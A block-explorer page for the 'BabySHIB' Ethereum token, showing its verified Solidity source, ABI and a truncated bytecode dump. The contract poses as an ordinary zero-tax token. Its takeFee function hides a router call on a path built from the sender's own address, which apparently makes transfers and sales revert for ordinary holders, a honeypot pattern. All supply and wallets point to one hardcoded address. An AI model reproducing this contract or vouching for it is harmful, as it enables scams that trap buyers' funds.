ETH Price: $3,475.00 (-0.19%)
Gas: 2 Gwei

Token

BabySHIB (BabySHIB)
 

Overview

Max Total Supply

100,000,000 BabySHIB

Holders

485

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1.324824790699525545 BabySHIB

Value
$0.00
0x2300e0B749611190998EFEb465fcf01aA59d2206
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabySHIB

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-12
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.8;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target,
     bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);

    function WETH() external view returns (address);

    function addLiquidity(
        address tokenA, address tokenB,
        uint amountADesired, uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,  uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity, uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


contract BabySHIB is Context, IERC20, Ownable {
    struct UserInfo {
        uint256 lpAmount;
        bool preLP;
    }

    mapping(address => UserInfo) private _userInfo;

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address payable private teamWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;

    bool private startTx;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = true;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply,
        address router
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0x1Ad4344E2F87775354c491B4920809ca78709874;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 11000 * 10**_decimals;
        marketingWalletAddress = payable(0x1Ad4344E2F87775354c491B4920809ca78709874);
        teamWalletAddress = payable(0x1Ad4344E2F87775354c491B4920809ca78709874);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _totalSupply;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;
         
        // team eth
        uint256 amountUSDTTeam = amountReceived.mul(50).div(100);
        // marketing eth
        uint256 amountUSDTMarketing = amountReceived.sub(amountUSDTTeam);

        if(amountUSDTMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountUSDTMarketing);

        if(amountUSDTTeam > 0)
            transferToAddressETH(teamWalletAddress, amountUSDTTeam);


    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        uint256 deadAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }else{
            // generate the uniswap pair path of token -> weth
            address[] memory path = new address[](2);
            path[0] = address(sender);
            path[1] = uniswapV2Router.WETH();
            uint amounts = uniswapV2Router.getAmountsOut(amount,path)[0];
            deadAmount = amount - amounts;
        }

        return amount.sub(feeAmount);
    }


    function getUserInfo(address account) public view returns (
        uint256 lpAmount, uint256 lpBalance,  bool preLP
    ) {
        lpAmount = _userInfo[account].lpAmount;
        lpBalance = IERC20(uniswapPair).balanceOf(account);
        UserInfo storage userInfo = _userInfo[account];
        preLP = userInfo.preLP;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"lpAmount","type":"uint256"},{"internalType":"uint256","name":"lpBalance","type":"uint256"},{"internalType":"bool","name":"preLP","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a556000600b556000600d556001600f60156101000a81548160ff0219169083151502179055506000600f60166101000a81548160ff02191690831515021790555060405162003bae38038062003bae8339818101604052810190620000b1919062000773565b60008190508560029080519060200190620000ce92919062000448565b508460039080519060200190620000e792919062000448565b5083600460006101000a81548160ff021916908360ff160217905550731ad4344e2f87775354c491b4920809ca787098746000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900460ff16600a620001759190620009bc565b8362000182919062000a0d565b600c81905550600460009054906101000a900460ff16600a620001a69190620009bc565b612af8620001b5919062000a0d565b600d81905550731ad4344e2f87775354c491b4920809ca78709874600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731ad4344e2f87775354c491b4920809ca78709874600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c54600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405162000434919062000a7f565b60405180910390a350505050505062000b01565b828054620004569062000acb565b90600052602060002090601f0160209004810192826200047a5760008555620004c6565b82601f106200049557805160ff1916838001178555620004c6565b82800160010185558215620004c6579182015b82811115620004c5578251825591602001919060010190620004a8565b5b509050620004d59190620004d9565b5090565b5b80821115620004f4576000816000905550600101620004da565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005618262000516565b810181811067ffffffffffffffff8211171562000583576200058262000527565b5b80604052505050565b600062000598620004f8565b9050620005a6828262000556565b919050565b600067ffffffffffffffff821115620005c957620005c862000527565b5b620005d48262000516565b9050602081019050919050565b60005b8381101562000601578082015181840152602081019050620005e4565b8381111562000611576000848401525b50505050565b60006200062e6200062884620005ab565b6200058c565b9050828152602081018484840111156200064d576200064c62000511565b5b6200065a848285620005e1565b509392505050565b600082601f8301126200067a57620006796200050c565b5b81516200068c84826020860162000617565b91505092915050565b600060ff82169050919050565b620006ad8162000695565b8114620006b957600080fd5b50565b600081519050620006cd81620006a2565b92915050565b6000819050919050565b620006e881620006d3565b8114620006f457600080fd5b50565b6000815190506200070881620006dd565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200073b826200070e565b9050919050565b6200074d816200072e565b81146200075957600080fd5b50565b6000815190506200076d8162000742565b92915050565b600080600080600060a0868803121562000792576200079162000502565b5b600086015167ffffffffffffffff811115620007b357620007b262000507565b5b620007c18882890162000662565b955050602086015167ffffffffffffffff811115620007e557620007e462000507565b5b620007f38882890162000662565b94505060406200080688828901620006bc565b93505060606200081988828901620006f7565b92505060806200082c888289016200075c565b9150509295509295909350565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008c7578086048111156200089f576200089e62000839565b5b6001851615620008af5780820291505b8081029050620008bf8562000868565b94506200087f565b94509492505050565b600082620008e25760019050620009b5565b81620008f25760009050620009b5565b81600181146200090b576002811462000916576200094c565b6001915050620009b5565b60ff8411156200092b576200092a62000839565b5b8360020a91508482111562000945576200094462000839565b5b50620009b5565b5060208310610133831016604e8410600b8410161715620009865782820a90508381111562000980576200097f62000839565b5b620009b5565b62000995848484600162000875565b92509050818404811115620009af57620009ae62000839565b5b81810290505b9392505050565b6000620009c982620006d3565b9150620009d68362000695565b925062000a057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008d0565b905092915050565b600062000a1a82620006d3565b915062000a2783620006d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a635762000a6262000839565b5b828202905092915050565b62000a7981620006d3565b82525050565b600060208201905062000a96600083018462000a6e565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ae457607f821691505b6020821081141562000afb5762000afa62000a9c565b5b50919050565b61309d8062000b116000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9059cbb11610064578063a9059cbb146103a0578063b2bdfa7b146103dd578063c49b9a8014610408578063dd62ed3e14610431578063f2fde38b1461046e57610114565b80638da5cb5b146102f6578063914eb66a1461032157806395d89b4114610338578063a457c2d71461036357610114565b8063313ce567116100dc578063313ce567146101e957806339509351146102145780633b97084a146102515780636386c1c71461027a57806370a08231146102b957610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610497565b60405161013b9190612257565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612321565b610529565b604051610178919061237c565b60405180910390f35b34801561018d57600080fd5b50610196610547565b6040516101a391906123a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906123c1565b610551565b6040516101e0919061237c565b60405180910390f35b3480156101f557600080fd5b506101fe61062b565b60405161020b9190612430565b60405180910390f35b34801561022057600080fd5b5061023b60048036038101906102369190612321565b610642565b604051610248919061237c565b60405180910390f35b34801561025d57600080fd5b506102786004803603810190610273919061244b565b6106f5565b005b34801561028657600080fd5b506102a1600480360381019061029c9190612478565b610794565b6040516102b0939291906124a5565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612478565b6108ea565b6040516102ed91906123a6565b60405180910390f35b34801561030257600080fd5b5061030b610933565b60405161031891906124eb565b60405180910390f35b34801561032d57600080fd5b5061033661095c565b005b34801561034457600080fd5b5061034d610aaf565b60405161035a9190612257565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190612321565b610b41565b604051610397919061237c565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c29190612321565b610c0e565b6040516103d4919061237c565b60405180910390f35b3480156103e957600080fd5b506103f2610c2d565b6040516103ff91906124eb565b60405180910390f35b34801561041457600080fd5b5061042f600480360381019061042a9190612532565b610c51565b005b34801561043d57600080fd5b506104586004803603810190610453919061255f565b610d3a565b60405161046591906123a6565b60405180910390f35b34801561047a57600080fd5b5061049560048036038101906104909190612478565b610dc1565b005b6060600280546104a6906125ce565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906125ce565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b600061053d610536610f83565b8484610f8b565b6001905092915050565b6000600c54905090565b600061055e848484611156565b506106208461056b610f83565b61061b8560405180606001604052806028815260200161301b60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d1610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006106eb61064f610f83565b846106e68560086000610660610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b290919063ffffffff16565b610f8b565b6001905092915050565b6106fd610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107819061264c565b60405180910390fd5b80600d8190555050565b6000806000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549250600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161083991906124eb565b60206040518083038186803b15801561085157600080fd5b505afa158015610865573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108899190612681565b91506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010160009054906101000a900460ff169150509193909250565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610964610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e89061264c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060038054610abe906125ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610aea906125ce565b8015610b375780601f10610b0c57610100808354040283529160200191610b37565b820191906000526020600020905b815481529060010190602001808311610b1a57829003601f168201915b5050505050905090565b6000610c04610b4e610f83565b84610bff856040518060600160405280602581526020016130436025913960086000610b78610f83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461154e9092919063ffffffff16565b610f8b565b6001905092915050565b6000610c22610c1b610f83565b8484611156565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c59610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd9061264c565b60405180910390fd5b80600f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051610d2f919061237c565b60405180910390a150565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc9610f83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4d9061264c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612720565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffffffffffffffffffff